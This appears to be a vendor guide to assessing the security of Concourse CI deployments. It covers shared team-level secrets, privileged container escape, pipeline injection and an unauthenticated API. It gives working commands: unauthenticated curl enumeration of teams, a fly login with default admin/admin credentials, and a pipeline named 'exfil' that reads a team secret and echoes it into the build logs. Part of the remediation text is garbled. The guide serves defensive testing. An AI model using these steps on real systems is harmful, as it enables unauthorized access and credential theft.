Concourse CI is a pipeline-based CI/CD system that runs tasks in containers on worker nodes. Its security model differs from Jenkins in important ways: credentials are stored in an external credential manager (Vault, CredHub, AWS SSM) and injected as environment variables — but by default the credential lookup path is shared across all pipelines in a team, meaning any pipeline can read any secret in the team's namespace; task containers run in garden containers on workers but privileged tasks can escape to the host; the fly set-pipeline command accepts pipeline YAML from any source, and an attacker with fly access can set pipelines that exfiltrate secrets or persist backdoors; and the Concourse ATC (Air Traffic Controller) API on port 8080 may be accessible internally without additional authentication in corporate deployments, allowing pipeline manipulation by anyone on the network. This guide covers systematic Concourse CI security assessment.
# Concourse ATC default port: 8080 (HTTP), 443 (HTTPS)
# Also: 2222 (SSH for fly intercept), 7777 (worker BBS)
# Check Concourse info endpoint (no auth needed)
curl -s http://concourse.example.com:8080/api/v1/info 2>/dev/null | python3 -m json.tool | head -10
# Returns: {"version":"7.x.x","worker_version":"...","atc_version":"..."}
# List all teams (no auth on some deployments)
curl -s http://concourse.example.com:8080/api/v1/teams 2>/dev/null | \
python3 -c "
import json,sys
teams = json.load(sys.stdin)
print(f'Teams: {len(teams)}')
for t in teams:
print(f\" {t.get('name','?')} id={t.get('id','?')}\")
" 2>/dev/null
# Authenticate with fly CLI
fly -t concourse login -c http://concourse.example.com:8080 -u admin -p admin 2>/dev/null | head -5
# List all pipelines for main team (requires auth)
fly -t concourse pipelines 2>/dev/null | head -20
# Concourse looks up credentials by path: ///
# Default lookup order: ///, then //
# The // path is shared across all pipelines in the team
# Check if a pipeline can read team-level secrets (cross-pipeline credential access)
# Create a test pipeline that reads a team-level secret
fly -t concourse set-pipeline -p credential-test -c - << 'EOF' 2>/dev/null
jobs:
- name: read-team-secret
plan:
- task: exfil
config:
platform: linux
image_resource:
type: registry-image
source: {repository: alpine}
run:
path: sh
args:
- -c
- |
# Team-level secrets are accessible via ((var_name)) in any pipeline
echo "Reading team secret: $SHARED_API_KEY"
params:
SHARED_API_KEY: ((shared_api_key)) # team-level secret //shared_api_key
EOF
fly -t concourse unpause-pipeline -p credential-test 2>/dev/null
fly -t concourse trigger-job -j credential-test/read-team-secret --watch 2>/dev/null | \
grep -E "(Reading|secret|key)" | head -5
/// paths, not team-level // for sensitive secretsprivileged: true in task configs unless absolutely required for the specific taskfly intercept permissions — this command grants shell access to running containers and should require explicit RBAC authorization| Security Test | Method | Risk |
|---|---|---|
| Team-level credential accessible to all pipelines | Set pipeline with ((team_secret)) — reads / | High |
| Privileged task container escape to worker host | task config with privileged: true — mounts host filesystems, reads node secrets | Critical |
| Pipeline injection via fly set-pipeline | fly set-pipeline with malicious YAML — exfiltrates credentials via task run | High |
| ATC API accessible without authentication | curl :8080/api/v1/teams — lists teams and pipelines without auth | High |
| fly intercept gives shell in running containers | fly intercept -j team/pipeline/job — interactive shell in running container | High |
| Secret values echo'd in build logs | Review build output — secrets interpolated via echo or set -x in task scripts | Medium |
Ironimo tests Concourse CI deployments for team-level credential scope allowing cross-pipeline secret access, privileged task container escape to worker host filesystem, pipeline injection via fly set-pipeline with attacker-controlled YAML, unauthenticated ATC API exposing pipeline definitions and team structure, fly intercept shell access to running containers, and secret values disclosed in build log output via echo or debug flags.
Start free scan